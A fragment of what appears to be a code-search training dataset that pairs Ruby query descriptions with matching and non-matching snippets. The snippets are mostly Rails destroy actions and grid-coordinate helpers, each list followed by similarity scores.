"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote = Quote.find(params[:id])\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote = Quote.find(params[:id])\n @quote.destroy\n\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote = Quote.find(params[:id])\n @quote.destroy\n\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote = Quote.find(params[:id])\n @quote.destroy\n\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote = Quote.find(params[:id])\n @quote.destroy\n\n respond_to do |format|\n format.html { redirect_to quotes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n @payment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_payment_lines_url(payment) }\n format.json { head :ok }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote_detail = QuoteDetail.find(params[:id])\n @quote_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to quote_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end",
"def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_quote.destroy\n respond_to do |format|\n format.html { redirect_to customer_quotes_url }\n format.js\n end\n end",
"def destroy\n @contract_service_line.destroy\n respond_to do |format|\n format.html { redirect_to contract_service_lines_url, notice: 'Contract service line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n DB.exec(\"DELETE FROM line WHERE id = #{self.id};\")\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Line item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @clothing_line.destroy\n respond_to do |format|\n format.html { redirect_to clothing_lines_url, notice: 'Clothing line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Frase apagada' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n head :ok\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'QUOTE WAS SUCCESSFULLY DESTROYED.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end",
"def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end",
"def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy(options={})\n force = options[:force]\n if !force.nil?\n resp = self.class.delete(\"/lines/#{CF.account_name}/#{self.title.downcase}.json\", :forced => force)\n else\n resp = self.class.delete(\"/lines/#{CF.account_name}/#{self.title.downcase}.json\")\n end\n if resp.code != 200\n self.errors = resp.errors.message\n end\n return resp\n end",
"def destroy\n @quote.destroy\n respond_with(@quote, :location => person_quotes_path(@person))\n end",
"def destroy\n @applied_line.destroy\n respond_to do |format|\n format.html { redirect_to applied_lines_url, notice: 'Applied line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@line = Line.find(params[:id])\n #@line.destroy\n\n #respond_to do |format|\n #format.html { redirect_to(lines_url) }\n #format.xml { head :ok }\n #end\n @line.destroy\n redirect_to lines_path, :flash => { :success => \"Line deleted!\" }\n\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend",
"def destroy\n @keyclientorder.destroy\n respond_to do |format|\n format.html { redirect_to keyclientorders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: 'Quote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote.destroy\n respond_to do |format|\n format.html { redirect_to quotes_url, notice: \"Quote was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @participant_quote = ParticipantQuote.find(params[:id])\n @participant_quote.destroy\n\n respond_to do |format|\n format.html { redirect_to participant_quotes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Line.transaction do\n @line.destroy!\n end\n respond_to do |format|\n format.html { redirect_to node_lines_url(@node), notice: 'Line was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n line_item = LineItem.find params[:id]\n line_item.destroy\n\n redirect_to cart_path\n end",
"def destroy\n order = @custom_item.bill.order\n @custom_item.destroy\n respond_to do |format|\n format.html { redirect_to order_bill_path(@custom_item.bill.order, @custom_item.bill) }\n format.json { head :no_content }\n end\n end",
"def destroy\n li = @cart.line_items.find_by_id!(params[:id])\n li.destroy\n render json: {}, status: :ok\n end",
"def destroy\n @cart = current_cart\n if params[:check_one]\n @line_items = LineItem.find(params[:check_one])\n @line_items.each do |line_item|\n line_item.destroy\n end\n end\n# @line_item.destroy\n\n# @line_item = @cart.sub_line_item(params[:id])\n\n\n respond_to do |format|\n format.html { redirect_to(:action => 'index', :controller => 'store') }\n format.js \n format.xml { render :xml => @line_item, :status => :deleted, :location => @line_item }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to 'http://localhost:3000/carts/show' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @price_quote = PriceQuote.find(params[:id])\n @price_quote.destroy\n\n respond_to do |format|\n format.html { redirect_to price_quotes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n @line_items = @cart.line_items\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end"
] | [
"0.7204464",
"0.661267",
"0.65343726",
"0.6467487",
"0.6412911",
"0.64046687",
"0.63338304",
"0.6333033",
"0.63320935",
"0.6301641",
"0.6300822",
"0.6296075",
"0.62872",
"0.6276502",
"0.62640595",
"0.6250997",
"0.62473905",
"0.6235136",
"0.6220723",
"0.62161064",
"0.62042785",
"0.62042785",
"0.6203569",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6203335",
"0.6195126",
"0.61896354",
"0.61847955",
"0.6183899",
"0.61831236",
"0.61792386",
"0.61792386",
"0.61792386",
"0.6174166",
"0.617391",
"0.6163873",
"0.6155637",
"0.6147195",
"0.61394805",
"0.61188525",
"0.61172545",
"0.611279",
"0.61120176",
"0.60984033",
"0.6093491",
"0.60908467",
"0.6084292",
"0.6083638",
"0.6070507",
"0.6052488",
"0.6052488",
"0.6052488",
"0.6052488",
"0.6052488",
"0.6052488",
"0.60426706",
"0.6039984",
"0.6039193",
"0.60336673",
"0.60313654",
"0.5996408",
"0.59852046",
"0.5982832",
"0.5978371",
"0.5973495",
"0.59679574",
"0.5949577",
"0.59492064",
"0.5938442",
"0.593624",
"0.5929925",
"0.5927835",
"0.5924003",
"0.5921843",
"0.5915966",
"0.59123975",
"0.5903838",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.5899835",
"0.58931124",
"0.58928025",
"0.58853537",
"0.5883429",
"0.58768415",
"0.5863276",
"0.58630383",
"0.5862266",
"0.58616495",
"0.5860521",
"0.5858086",
"0.58554536"
] | 0.7477422 | 0 |
This is the position of the coordinates in the array. [a, b, c, d, e, f, g, h] | a | b | c | | h | 0 | d | | g | f | e | j_index1 | i_index1 i_index+1 | j_index+1 rubocop:disable Metrics/MethodLength | def adjacent_cells(i_index, j_index)
return [] if out_of_bounds?(i_index, j_index)
cells = [
[i_index - 1, j_index - 1], # a
[i_index - 1, j_index], # b
[i_index - 1, j_index + 1], # c
[i_index, j_index + 1], # d
[i_index + 1, j_index + 1], # e
[i_index + 1, j_index], # f
[i_index + 1, j_index - 1], # g
[i_index, j_index - 1] # h
]
cells.reject do |pair|
i_index, j_index = pair
out_of_bounds?(i_index, j_index)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def position\n [@x, @y]\n end",
"def coords\n Vector[@ob.x, @ob.y, @ob.z]\n end",
"def coordinates\n [@y_location, @x_location]\n end",
"def coord_array\n _coords.dup\n end",
"def indices2coords(i,j)\n row = i2row(i)\n col = j2col(j)\n \"#{row}#{col}\"\n end",
"def coords_arr(arr)\n\tarr.map.with_index do |line, x|\n\t\tline.map.with_index do |point, y|\n\t\t\tCOORDS_HASH[[x,y]] = point\n\t\t\t[x,y]\n\t\tend\n\tend\nend",
"def coords\n coord_list = []\n (@x..(@x + @size_x - 1)).each do |i|\n (@y..(@y + @size_y - 1)).each do |j|\n coord = [i, j]\n coord_list << coord\n end\n end\n\n return coord_list\n end",
"def coordinates\n arr = []\n (0...@size).each do |row|\n (0...@size).each do |column|\n arr << Coordinate.new(x: row,y: column)\n end\n end\n arr\n end",
"def position\n\t\t[ @x, @y ]\n\tend",
"def coordinates(image)\n image.each_with_index.flat_map do |row,x|\n (0...row.length).find_all{|i| row[i] == @char }.map{|y| [x,y] }\n end\n end",
"def get_coordinates(pos)\n row = (pos / @width) + 1\n col = (pos % @width) + 1\n [row, col]\n end",
"def position\n V[x, y]\n end",
"def hint_idx_to_coord(i)\n j = i % SIZE\n\n if i >= 0 && i < SIZE\n # top\n r = (0..(SIZE-1)).to_a.map{ |a| {x: j, y: a} }\n elsif i >= SIZE && i < (SIZE * 2)\n r = (0..(SIZE-1)).to_a.reverse.map{ |a| {x: a, y: j} }\n elsif i >= (SIZE * 2) && i < (SIZE * 3)\n r = (0..(SIZE-1)).to_a.reverse.map{ |a| {x: (SIZE - 1) - j, y: a} }\n else\n r = (0..(SIZE-1)).to_a.map{ |a| {x: a, y: (SIZE - 1) - j} }\n end\n r\nend",
"def hint_idx_to_coord(i)\n j = i % SIZE\n\n if i >= 0 && i < SIZE\n # top\n r = (0..(SIZE-1)).to_a.map{ |a| {x: j, y: a} }\n elsif i >= SIZE && i < (SIZE * 2)\n r = (0..(SIZE-1)).to_a.reverse.map{ |a| {x: a, y: j} }\n elsif i >= (SIZE * 2) && i < (SIZE * 3)\n r = (0..(SIZE-1)).to_a.reverse.map{ |a| {x: (SIZE - 1) - j, y: a} }\n else\n r = (0..(SIZE-1)).to_a.map{ |a| {x: a, y: (SIZE - 1) - j} }\n end\n r\nend",
"def position\n [ @row_offset, @col_offset ]\n end",
"def get_cell_at_xy(input_array)\n input_array.map do |coord|\n x = coord[0]\n y = coord[1]\n at_coord(x, y)\n end\n end",
"def position_coordinates(character)\n which_row = []\n which_cell = []\n (0...@n).each { |i| prepare_set(i, character, which_row, which_cell) }\n [which_row, which_cell]\n end",
"def position\n [x, y]\n end",
"def coords\n [x, y]\n end",
"def position\n [ChessBoard.col_index(pos[0]), pos[1].to_i]\n end",
"def marker_coords(marker)\n row = @grid.find_index { |x| x.include?(marker) }\n col = @grid[row].index(marker)\n\n [col, row]\n end",
"def getXYIndex(s)\n return s.y * @width + s.x;\n end",
"def position\n [row.position, column.position]\n end",
"def coords; {:x => @x, :y => @y} end",
"def coordinates\n return 166, 72\n end",
"def getPosIndex(pos)\n (x,y,z) = pos ;\n dx = x + @offset[0] - @origin[0] ;\n dy = y + @offset[1] - @origin[1] ;\n dz = z + @offset[2] - @origin[2] ;\n ix = (dx / @gridSize[0]).floor ;\n iy = (dy / @gridSize[1]).floor ;\n iz = (dz / @gridSize[2]).floor ;\n return [ix, iy, iz] ;\n end",
"def to_coordinates\n\n CGPointMake(self.x.to_coordinates, self.y.to_coordinates)\n end",
"def coords\r\n blur_pixels = []\r\n # blur_pixels is the array, and then we need to fill it\r\n @array.each_with_index do |row, row_int| #nested loops\r\n row.each_with_index do |int, col_index| # iterating over integers in arrays \r\n if int == 1 #1 is the number we are using as the culprit in our blur\r\n blur_pixels << [row_int, col_index] # << is pushing into the blur_pixels array\r\n end\r\n end\r\n end\r\n blur_pixels\r\n end",
"def coordinate_list\n @board.each_index.inject([]) do |result,row_index|\n result.concat( \n @board[row_index].each_index.collect do |column_index|\n [row_index + 1, column_index + 1]\n end\n )\n end\n end",
"def position\n [ @x, @y, COMPASS[@orientation].to_s ]\n end",
"def pos\n [posx, posy]\n end",
"def location\n [@posX, @posY, @facing]\n end",
"def cal_pos\n x, y = map_location(@grid_x, @grid_y)\n x += @tile_size/2\n y += @tile_size/2\n [x,y]\n end",
"def current_pos\n\t\treturn arr = [pos_x, pos_y]\n\tend",
"def coordinates_to_indices(x, y)\n [x - 1, y - 1]\n end",
"def locate_coordinate(position)\n x = -1\n y = -1\n \n @position_matrix.each_with_index do |array, index| \n if array.include?(position)\n y = index \n x = array.index(position)\n end\n end\n return x, y\n end",
"def position\n return [@x, @y, @heading]\n end",
"def coordinate_array\n\t\t[latitude,longitude]\n\tend",
"def idx(x, y)\n tx = x % @width\n ty = y % @height\n idx = tx + ty * @width\n end",
"def position\r\n self.line.ordered_samples.to_a.index(self)\r\n end",
"def getCoords (index)\n return index%10, index/10\n end",
"def coords_to_pos(point)\n (size - 1 - point.y) * size + point.x\n end",
"def index_for(x, y, coordinate_system=:row_col)\n case coordinate_system\n when :row_col\n x * 9 + y\n when :col_row\n y * 9 + x\n when :box\n [0,3,6,27,30,33,54,57,60][x] + [0,1,2,9,10,11,18,19,20][y]\n end\n end",
"def ship_coordinates\n @ship_squares.map do |squares|\n squares.map { |square| [square.x, square.y] }\n end\n end",
"def getPosFromIndex(posIndex)\n (ix,iy,iz) = posIndex ;\n x = @origin[0] + ix * @gridSize[0] - @offset[0] ;\n y = @origin[1] + iy * @gridSize[1] - @offset[1] ;\n z = @origin[2] + iz * @gridSize[2] - @offset[2] ;\n return [x,y,z] ;\n end",
"def coord_to_pos(row,col)\n return nil if row.even? && col.even? || row.odd? && col.odd? #these are always empty squares in checkers!\n return row*4+(col/2).floor+1\n end",
"def coordinates\n row_values.product(col_values)\n end",
"def generate_coordinates\n coordinates = []\n (0..@column_count - 1).to_a.each do |i|\n (0..@row_count - 1).to_a.each do |j|\n coordinates << {x: i, y: j, z: 0}\n end\n end\n coordinates\n end",
"def get_coordinates(cell)\n row = @cell_coordinates[cell][0]\n col = @cell_coordinates[cell][1]\n [row, col]\n end",
"def attacking_coordinates(piece_type = 'Queen')\n attacking_pairs(piece_type).map { |pair| pair.map(&:coordinates) }\n end",
"def xy\n @geometries.dig(@geometry_index, @coordinates_index)\n end",
"def x_points\n points = [[], []]\n (0...height).each do |y|\n (0...width).each do |x|\n if (array[y][x]).nonzero? && (x - 1 < 0 || (array[y][x - 1]).zero?)\n points[0] << Point.new(x - 1, y) + @position\n end\n\n if (array[y][x]).nonzero? && (x + 1 >= length || (array[y][x + 1]).zero?)\n points[1] << Point.new(x + 1, y) + @position\n end\n end\n end\n\n points\n end",
"def get(i, j)\n @pos[i][j]\n end",
"def to_xy\n a = self\n a = [a[0].x, a[0].y] if length == 1\n return *a\n end",
"def [](pos)\n @grid[pos[0]][pos[1]]\n # row,col = pos\n # @grid[row][col]\n end",
"def neighbor_cell_coordinates\n NEIGHBOR_OFFSETS.map { |coordinates| [row + coordinates[0], col + coordinates[1]] }\n end",
"def [](pos)\n row = pos.first\n col = pos.last\n @grid[row][col]\n end",
"def get_arr_x(x, y) \n x # this coordinate doesn't change\nend",
"def image_position\n (@row * 6) + @column\n end",
"def svg_coord(row, col)\n\t\t[col*10 + 5, row*10 + 5]\n\tend",
"def position \n\t\treturn @y,@x\n\tend",
"def cell_index_array\n use_default_index ? 0.upto(points - 1) : concatenate_data_arrays('index', 'cells')\n end",
"def to_xy\n [x, y]\n end",
"def [](pos)\n self.grid[pos[1]][pos[0]]\n end",
"def coordinates\n @coordinates\n end",
"def pos_to_index(position)\n position[1] * 8 + position[0]\n end",
"def new_coord\n [@position, @@move[@direction]].transpose.map { |coord| coord.reduce(:+) }\n end",
"def next_position\n (@position + face_vector).column(0).to_a\n end",
"def [](pos) #pos = [1,2]\n # x, y = pos\n x = pos[0]\n y = pos[1]\n @rows[x][y] \n end",
"def position()\n @view__.position.toVector\n end",
"def position(input)\n cells[self.idx(input)]\n end",
"def pos_to_a\r\n [ pos.x, pos.y ]\r\n end",
"def separate_coordinates\n piece = @input[0..1]\n @row = input_to_row(piece[1])\n @col = input_to_col(piece[0])\n\n location = @input[2..3]\n @row_new = input_to_row(location[1])\n @col_new = input_to_col(location[0])\n end",
"def realToIndex(x,y,z) \n @my_ii = Grid.nearest(x,@mD.xStart,@mD.xIncr)\n @my_jj = Grid.nearest(y,@mD.yStart,@mD.yIncr)\n @my_doy = z\n # puts \"realToIndex: x #{x}, xStart #{@mD.xStart}, xIncr #{@mD.xIncr} myX #{@my_ii}; y #{y}, myY #{@my_jj} z #{z}, myZ #{@my_doy}\"\n [@my_ii,@my_jj,@my_doy]\n end",
"def coordinates\n coordinates = Array.new\n \n coordinates.push self.lat\n coordinates.push self.lng\n \n return coordinates\n end",
"def point_to_index(x,y)\n return (x*(bpp >> 3))+(y*((bpp >> 3)*(width)))\n end",
"def [](pos)\n x, y = pos.first, pos[1]\n @grid[x][y]\n end",
"def coordinates\n\t coordinate_array.map(&:to_s).join(\",\")\n\tend",
"def [](pos)\n r, c = pos[0],pos[1]\n grid[r][c]\n end",
"def convert_to_piece_position(coordinates)\n alpha = ('a'..'h').to_a\n\n row_index, column_index = coordinates\n\n alpha[row_index-1] + column_index.to_s\n end",
"def neighbor_coords\r\n coordinates = [\r\n up,\r\n down,\r\n right, \r\n left,\r\n # Diagonals\r\n # Move.new(up).right,\r\n # Move.new(up).left,\r\n # Move.new(down).right,\r\n # Move.new(down).left\r\n up_right,\r\n up_left,\r\n down_right,\r\n down_left\r\n ]\r\n\r\n coordinates.compact\r\n end",
"def xyz_to_index(x, y, z)\n case @cell_order\n when CELL_ORDER_COLS then (x % columns) +\n (y * columns) +\n (z * columns * rows)\n when CELL_ORDER_ROWS then (x * rows * layers) +\n (y % rows) +\n (z * rows)\n when CELL_ORDER_LAYS then (x * layers) +\n (y * layers * columns) +\n (z % layers)\n end\n end",
"def [](pos)\n x, y = pos\n @grid[x][y]\n end",
"def coordinates\n [@data[:szer_geogr].to_f, @data[:dl_geogr].to_f]\n end",
"def coord_to_index(piece, board)\n all_coordinates = board.keys\n index = all_coordinates.index(piece.position.to_sym) \n end",
"def s_coords(attrs)\n height = (attrs['HEIGHT'] || 0).to_i\n width = (attrs['WIDTH'] || 0).to_i\n hpos = (attrs['HPOS'] || 0).to_i\n vpos = (attrs['VPOS'] || 0).to_i\n [hpos, vpos, width, height]\n end",
"def [](pos)\n row, col = pos\n @grid[row][col]\n end",
"def index(x, y)\n (y - 1) * width + (x - 1)\n end",
"def pos_to_coords(pos)\n x = (pos % size)\n y = size - 1 - (pos / size).to_i\n\n Point.new x, y\n end",
"def[](index)\n\t\tcase index\n\t\twhen 0, -2 then @x\n\t\twhen 1, -1 then @y\n\t\twhen :x, \"x\" then @x\n\t\twhen :y, \"y\" then @y\n\t\telse nil\n\t\tend\n\tend",
"def[](index)\n\t\tcase index\n\t\twhen 0, -2 then @x\n\t\twhen 1, -1 then @y\n\t\twhen :x, \"x\" then @x\n\t\twhen :y, \"y\" then @y\n\t\telse nil\n\t\tend\n\tend",
"def all_indexes\n\t\tindex_list = []\n\t\tfor y_index in 0..7\n\t\t\tfor x_index in 0..7\n\t\t\t\tindex_list << [y_index, x_index]\n\t\t\tend\n\t\tend\n\t\tindex_list\n\tend",
"def extract_coordinates(args)\n args.map(&:to_i).map { |int| int - 1 }\n end",
"def [](pos)\n row, col = pos \n @grid[row][col]\n end",
"def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end",
"def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end",
"def [](pos)\n row, col = pos\n @grid[row][col]\n end",
"def [](pos)\n x, y = pos\n @grid[x][y] \n end",
"def index_of_position(row, col = 0)\n\t\tline_index(row) + col + 1\n\tend",
"def row_ia(x, y)\n (0...layers).map { |z| xyz_toindex(x, y, z) }\n end",
"def position(idx)\n pos = []\n\n dim.times do |i|\n if i < dim - 1\n row_length = @dimensions.drop(i+1).reduce(&:*)\n pos << idx / row_length\n idx -= pos.last * row_length\n else\n pos << idx\n end\n end\n\n pos\n end"
] | [
"0.6866802",
"0.6811006",
"0.6771236",
"0.67420024",
"0.6730317",
"0.6702235",
"0.664161",
"0.66144395",
"0.65688145",
"0.65434116",
"0.6501752",
"0.6475839",
"0.64615405",
"0.64615405",
"0.64502156",
"0.64142215",
"0.64112824",
"0.64108884",
"0.6353111",
"0.6346695",
"0.63441557",
"0.63241553",
"0.6307918",
"0.630203",
"0.6213234",
"0.6206854",
"0.6178685",
"0.6164965",
"0.61497736",
"0.61453325",
"0.6125396",
"0.6119694",
"0.6098307",
"0.6080927",
"0.60781384",
"0.60644865",
"0.60193753",
"0.60125625",
"0.6005926",
"0.5998399",
"0.59977883",
"0.5977589",
"0.5973603",
"0.5953015",
"0.5947582",
"0.5933513",
"0.59326726",
"0.59202075",
"0.5915203",
"0.589757",
"0.58631617",
"0.5862941",
"0.5862211",
"0.58512825",
"0.5830791",
"0.5829268",
"0.5825833",
"0.5818018",
"0.5818009",
"0.58004206",
"0.5798198",
"0.5794971",
"0.5792695",
"0.578192",
"0.5774804",
"0.5766838",
"0.5759253",
"0.575706",
"0.57511216",
"0.57280195",
"0.57274795",
"0.5726668",
"0.57263684",
"0.5715623",
"0.5713206",
"0.57055855",
"0.57045037",
"0.5703724",
"0.56961995",
"0.5688357",
"0.56828433",
"0.56763756",
"0.56719095",
"0.56664574",
"0.5660166",
"0.56520474",
"0.56406254",
"0.5638524",
"0.5632305",
"0.56254256",
"0.56254256",
"0.56243044",
"0.5619711",
"0.5609697",
"0.5609258",
"0.5609258",
"0.56067044",
"0.56006473",
"0.56002444",
"0.5597379",
"0.55973345"
] | 0.0 | -1 |
def floating? damage >= size ? self.floating = false : self.floating = true end def sunk? | def hit
self.damage = damage + 1
check_boat
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sunk?\n @health == 0\n end",
"def damaged?\n health < MAX_HEALTH\n end",
"def sunk?\n health.zero?\n end",
